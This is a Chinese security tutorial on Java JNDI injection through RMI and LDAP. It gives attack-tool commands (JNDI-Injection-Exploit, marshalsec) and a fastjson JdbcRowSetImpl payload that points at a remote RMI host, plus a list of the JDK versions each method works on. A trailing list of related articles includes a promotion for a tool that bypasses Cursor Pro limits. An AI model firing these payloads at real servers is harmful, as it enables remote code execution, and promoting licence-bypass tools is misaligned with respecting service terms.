Java安全—JNDI注入RMI服务LDAP服务JDK绕过
前言
上次讲到JNDI注入这个玩意,但是没有细讲,现在就给它详细地讲个明白。
JNDI注入
那什么是JNDI注入呢,JNDI全称为 Java Naming and Directory Interface(Java命名和目录接口),是一组应用程序接口,为开发人员查找和访问各种资源提供了统一的通用接口,可以用来定义用户、网络、机器、对象和服务等各种资源,NDI支持的服务主要有:DNS、LDAP、CORBA、RMI等。
RMI:远程方法调用注册表
LDAP:轻量级目录访问协议
我说白了JNDI其实就是一个接口,可以通过这个接口去调用一些远程服务。
先新建一个项目叫JNDI-demo。

JavaEE建议选择8。

接着新建一个类叫JNDIdemo。

写入以下的代码,当Java想要远程调用一个对象的时候,可以用javax.naming.InitialContext这个类的lookup方法来调用,这个调用支持Rmi和Ldap协议。
package com.sf.maven.jndidemo;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class JNDIdemo {public static void main(String[] args) throws NamingException {//创建rmi、ldap服务InitialContext ic = new InitialContext();//调用服务ic.lookup("");}
}
JNDI-Injection-Exploit
我们先创建一个rmi服务,还是利用JNDI-Injection-Exploit这个工具,命令就是弹出一个计算机。
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "calc" -A 8.xxx.xxx。xxx

代码填入我们的链接,直接运行代码可以看到弹出计算机。


marshalsec-0.0.3-SNAPSHOT
就相当于我本地电脑通过rmi去请求一个远程的class文件,并且执行里面的代码。如果我们换一个工具来搞的话效果会更直观,我们先新建一个名为Test的Java文件。

写入以下的代码,就是一个命令执行,弹出计算机。

来到Test的目录下面,把它编译成.class文件。
javac .\Test.java

把这个class文件放到web目录上面,或者你开个临时http服务也行。
python -m http.server 8080
现在利用marshalsec-0.0.3-SNAPSHOT-all.jar这个工具来生成调用链接,这个就没有JNDI-Injection-Exploit那么方便,要像上面那样自己编写class文件,不会根据命令给你自动生成。
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://0.0.0.0/#Test //启动LDAP服务java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://0.0.0.0/#Test //启动RMI服务
可以看到会生成一个端口连接。

使用远程调用。
lookup(“ldap://xx.xx.xx.xx:1389/Test”)
lookup(“rmi://xx.xx.xx.xx:1099/Test”)

妈的不知道为啥一直弹不了计算机出来,但是RMI服务和http服务是显示有连接的,你妹的。


而且我java版本都是在1.8.0_112的啊。

崩溃啦,有无了解的师傅可以指点一二。

哎,接着我们来看看不同版本JDK或者不同的工具,是否都能调用JDK和RMI,过程就是不断换JDK版本去测试就行了,具体我就不演示了,直接给给过吧。
PS:8U112相当于1.8.0_112,其它的也是同理。
RMI marshalsec工具
JDK 17版本 无法调用
11版本无法调用
8u362 无法执行
8U112 可以RMI jndi-inject工具
JDK 17版本 无法调用
11版本无法调用
8u362 无法执行
8U112 可以LDAP - marshalsec工具
JDK 17
11版本
8u362
8U112 都可以LDAP - jndi-inject工具
DK 17版本 无法调用
11版本无法调用
8u362 无法执行
8U112 可以
这里网上搞的包浆图,可以看到不同的java版本所能调用的协议也是不同的。

或者你用其它的类也能达到JNDI注入。

黑盒测试
那我们怎样去知道有无JNDI注入这个漏洞呢,我们可以通过发送错误数据去判断,这里发送个错误的json数据,然后报错中返回了fastjson,说明可能存在JNDI注入,然后利用DNSlog验证一下即可。

POC编写
假如我们知道有fastjson这个漏洞,该如何编写poc呢,上次我们演示fastjson的时候是自己写一个类com.wlwznb.user。

但是实战中我们不可能自己去写一个,得用java自带的,所以我们要指定com.sun.rowset.JdbcRowSetImpl这个类,但是上面我们说是通过javax.naming.InitialContext.lookup()这个方法来实现远程调用的,那为啥不指定这个。
其实是com.sun.rowset.JdbcRowSetImpl这个类里面自带了InitialContext.lookup()方法,由上面图片可见。
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://47.94.236.117:1099/wktunx","autoCommit":true}
总结
说实话JNDI对于不熟悉java的同学来说还是挺牢的,毕竟涉及了很多java开发的东西。
最后还是要声明一下,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。

参考文章:
https://kingx.me/Restrictions-and-Bypass-of-JNDI-Manipulations-RCE.html
https://blog.csdn.net/wushangyu32335/article/details/136131244
https://www.mi1k7ea.com/2020/09/07/%E6%B5%85%E6%9E%90%E9%AB%98%E4%BD%8E%E7%89%88JDK%E4%B8%8B%E7%9A%84JNDI%E6%B3%A8%E5%85%A5%E5%8F%8A%E7%BB%95%E8%BF%87/
相关文章:
Java安全—JNDI注入RMI服务LDAP服务JDK绕过
前言 上次讲到JNDI注入这个玩意,但是没有细讲,现在就给它详细地讲个明白。 JNDI注入 那什么是JNDI注入呢,JNDI全称为 Java Naming and Directory Interface(Java命名和目录接口),是一组应用程序接口&…...
C++:设计模式-单例模式
单例模式(Singleton Pattern)是一种设计模式,确保一个类只有一个实例,并且提供全局访问点。实现单例模式的关键是防止类被多次实例化,且能够保证实例的唯一性。常见的实现手法包括懒汉式、饿汉式、线程安全的懒汉式等。…...
Softing工业将OPC UA信息建模集成到边缘应用和安全集成服务器中
Softing工业宣布将OPC UA(统一架构)信息建模集成到其边缘产品系列及安全集成服务器(SIS)中,这一技术进步使得在工业物联网(IIoT)应用中的数据集成、交换与控制更加无缝、有效。 (OPC…...
WPF中如何让Textbox显示为一条直线
由于Textbox直接使用是一条直线 设置如下代码 可以让Textbox变为直线输入 <Style TargetType"TextBox"x:Key"UsernameTextBoxStyle"><Setter Property"Template"><Setter.Value><ControlTemplate TargetType"{x:Typ…...
VSCode汉化教程【简洁易懂】
我们安装完成后默认是英文界面。 找到插件选项卡,搜索“Chinese”,找到简体(更具你的需要)(Microsoft提供)Install。 安装完成后选择Change Language and Restart。...
跨平台多开账号防关联:轻松管理多个账号!
对于跨境电商、独立站以及社媒营销领域,如何高效管理多个账号、确保账号安全是企业面临的重大挑战。那么如何仅用一台电脑就能实现跨平台多开账号呢? 一、为什么需要跨平台多开账号并防关联? 1. 品牌推广:不同平台拥有不同的用户…...
DICOM图像处理:深入解析DICOM彩色图像中的Planar配置及其对像素数据解析处理的实现
引言 在DICOM(Digital Imaging and Communications in Medicine)标准中,彩色图像的存储与显示涉及多个关键属性,其中**Planar Configuration(平面配置)**属性(标签 (0028,0006))尤为重要。当遇到彩色DICOM图像在浏览时被错误地分割为9张小图,而实际应显示为一…...
jupyter notebook的 markdown相关技巧
目录 1 先选择为markdown类型 2 开关技巧 2.1 运行markdown 2.2 退出markdown显示效果 2.3 注意点:一定要 先选择为markdown类型 3 一些设置技巧 3.1 数学公式 3.2 制表 3.3 目录和列表 3.4 设置各种字体效果:加粗,斜体&#x…...
Linux连接网络的三种方式
Linux 连接网络的三种常见方式如下: 桥接模式 原理:虚拟网络接口与物理网络接口或另一个虚拟接口 “桥接”,形成逻辑上的网络交换机,使所有通过该桥接设备的数据包能被转发到桥接组中的所有接口,如同在一个局域网内…...
##继承##
继承的概念 #继承是新模板基于老模板的基础上修改而成,制作新模板时不需要重新开始制作,可以在老模板的基础上进行修改.(如手机版本的换代,软件的版本更新等) #程序也可以继承 继承的格式: class 继承模块(被继承模块ÿ…...
2024 APMCM亚太数学建模C题 - 宠物行业及相关产业的发展分析和策略 完整参考论文(1)
摘要 近年来,中国宠物食品行业迅速增长,但面临复杂的国际形势和多变的市场环境,因此科学地分析和预测该行业的发展趋势至关重要。本研究通过构建多个机器学习与统计回归模型,量化分析中国宠物食品行业的关键驱动因素,预测未来宠物食品总产值和出口值。 在数据处理部分,…...
uni-app 修改复选框checkbox选中后背景和字体颜色
编写css(注意:这个样式必须写在App.vue里) /* 复选框 */ /* 复选框-圆角 */ checkbox.checkbox-round .wx-checkbox-input, checkbox.checkbox-round .uni-checkbox-input {border-radius: 100rpx; } /* 复选框-背景颜色 */ checkbox.checkb…...
使用Notepad++工具去除重复行
使用Notepad工具去除重复行 参考链接:https://blog.csdn.net/londa/article/details/108981396 一 、使用正则表达式 1、对文本进行排序,让重复行排在一起 2、使用正则表达式替换(注意)^(.*?)$\s?^(?.*^\1$) 在替换时选择正…...
基于Springboot+Vue的救灾物资调动系统 (含源码数据库)
1.开发环境 开发系统:Windows10/11 架构模式:MVC/前后端分离 JDK版本: Java JDK1.8 开发工具:IDEA 数据库版本: mysql5.7或8.0 数据库可视化工具: navicat 服务器: SpringBoot自带 apache tomcat 主要技术: Java,Springboot,mybatis,mysql,vue 2.视频演示地址 3.功能 这个系…...
Unity 使用 Excel 进行配置管理(读Excel配置表、Excel转保存Txt 文本、读取保存的 Txt 文本配置内容)
Unity 使用 Excel 进行配置管理(读Excel配置表、Excel转保存Txt 文本、读取保存的 Txt 文本配置内容) 目录 Unity 使用 Excel 进行配置管理(读Excel配置表、Excel转保存Txt 文本、读取保存的 Txt 文本配置内容) 一、简单介绍 二、实现原理 三、注意事项 四、案例简单步…...
MySQL中索引全详解
第一部分:什么是索引 索引在数据库中就像书的目录,能够快速定位数据位置,从而提升查询效率。没有索引时,数据库查询需要从头到尾扫描整个表(称为全表扫描),这在数据量大时非常耗时。有了索引后&…...
vllm serve的参数大全及其解释
以下是 vllm serve 的常见参数说明以及它们的作用: 1. 基本参数 model_tag 说明:用于指定要加载的模型,可以是 Hugging Face 模型仓库中的模型名称,也可以是本地路径。示例:vllm serve "gpt-neo-2.7B"--co…...
2025职业院校技能大赛信息安全管理与评估(河北省) 任务书
2025职业院校技能大赛信息安全管理与评估--河北省 任务书 模块一网络平台搭建与设备安全防护任务1:网络平台搭建 (50分)任务2:网络安全设备配置与防护(250分) 模块二网络安全事件响应、数字取证调查、应用程…...
通过高德 JS API 实现H5端定位
实现步骤: 1、安装 amap-jsapi-loader 插件 npm install amap-jsapi-loader 2、对定位组件进行封装 gb-location组件 <script lang="ts" setup> import AMapLoader from @amap/amap-jsapi-loader; import {ref,defineExpose} from vue;let map = ref(nul…...
第J6周:RenseNeXt-50实战
🍨 本文为🔗365天深度学习训练营 中的学习记录博客🍖 原作者:K同学啊 文章目录 一、前言1、结构改进2、分组卷积 二、前期工作1.设置GPU2. 导入数据3. 查看数据 三、数据预处理1、加载数据2、配置数据集 四、构建网络1、导入包2、…...
突破Cursor API限制:cursor-free-vip实现无限制Pro功能的技术解析
突破Cursor API限制:cursor-free-vip实现无限制Pro功能的技术解析 【免费下载链接】cursor-free-vip [Support 0.45](Multi Language 多语言)自动注册 Cursor Ai ,自动重置机器ID , 免费升级使用Pro 功能: Youve reach…...
从数据小白到战斗大师:GBFR Logs如何帮你玩转《碧蓝幻想:Relink》
从数据小白到战斗大师:GBFR Logs如何帮你玩转《碧蓝幻想:Relink》 【免费下载链接】gbfr-logs GBFR Logs lets you track damage statistics with a nice overlay DPS meter for Granblue Fantasy: Relink. 项目地址: https://gitcode.com/gh_mirrors/…...
使用cv_unet_image-colorization增强电商商品图像的实践
使用cv_unet_image-colorization增强电商商品图像的实践 电商平台中,商品图像的质量直接影响消费者的购买决策。本文将分享如何利用cv_unet_image-colorization模型,为老商品图上色、提升低质图像质量,从而显著改善商品展示效果。 1. 电商图像…...
5步精通ComfyUI IPAdapter多模态图像引导配置实战指南
5步精通ComfyUI IPAdapter多模态图像引导配置实战指南 【免费下载链接】ComfyUI_IPAdapter_plus 项目地址: https://gitcode.com/gh_mirrors/co/ComfyUI_IPAdapter_plus 在AI图像生成领域,IPAdapter作为连接文本与视觉的桥梁,为创作者提供了前所…...
Python内存管理不再黑箱:手绘12张源码流程图(含PyMalloc arena分配/回收路径),带你直击PyObject_NEW与PyMem_RawMalloc底层决策逻辑
第一章:Python智能体内存管理策略源码分析Python智能体(如基于LangChain或LlamaIndex构建的Agent)在运行过程中常面临对象生命周期混乱、缓存冗余、引用泄漏等问题。其内存管理并非完全依赖CPython默认的引用计数与循环垃圾回收(G…...
PvZ Toolkit完整指南:植物大战僵尸修改器的终极解决方案
PvZ Toolkit完整指南:植物大战僵尸修改器的终极解决方案 【免费下载链接】pvztoolkit 植物大战僵尸 PC 版综合修改器 项目地址: https://gitcode.com/gh_mirrors/pv/pvztoolkit 你是否厌倦了在植物大战僵尸中重复刷资源?是否想体验游戏的全部乐趣…...
ViTConvMAE-B(NeurIPS 2022)目标检测、实例分割模型环境配置ViTConvMAE-B(NeurIPS 2022)目标检测、实例分割模型数据集调整ViTConvMAE-B(Ne
ViTConvMAE-B(NeurIPS 2022)目标检测、实例分割模型环境配置 ViTConvMAE-B(NeurIPS 2022)目标检测、实例分割模型数据集调整 ViTConvMAE-B(NeurIPS 2022)目标检测、实例分割模型代跑训练 ViTConvMAE-B&…...
Win11 Edge浏览器频繁断网?3分钟搞定IPv6设置(附DNS优化技巧)
Win11 Edge浏览器频繁断网?深度解析IPv6兼容性问题与DNS优化实战 最近不少Win11用户反馈Edge浏览器频繁断网,而其他应用却正常运作。这种看似诡异的网络问题,往往源于IPv6协议栈的兼容性故障。作为微软新一代操作系统与浏览器的组合ÿ…...
Gemma-3 Pixel Studio快速上手:支持表格图像的结构化数据提取技巧
Gemma-3 Pixel Studio快速上手:支持表格图像的结构化数据提取技巧 1. 工具介绍与核心能力 Gemma-3 Pixel Studio是基于Google最新Gemma-3-12b-it模型构建的多模态对话终端,特别擅长处理包含表格的图像数据。与传统OCR工具不同,它不仅能识别…...
HoRain云--Bootstrap5图像形状全攻略
🎬 HoRain 云小助手:个人主页 ⛺️生活的理想,就是为了理想的生活! ⛳️ 推荐 前些天发现了一个超棒的服务器购买网站,性价比超高,大内存超划算!忍不住分享一下给大家。点击跳转到网站。 目录 ⛳️ 推荐 …...
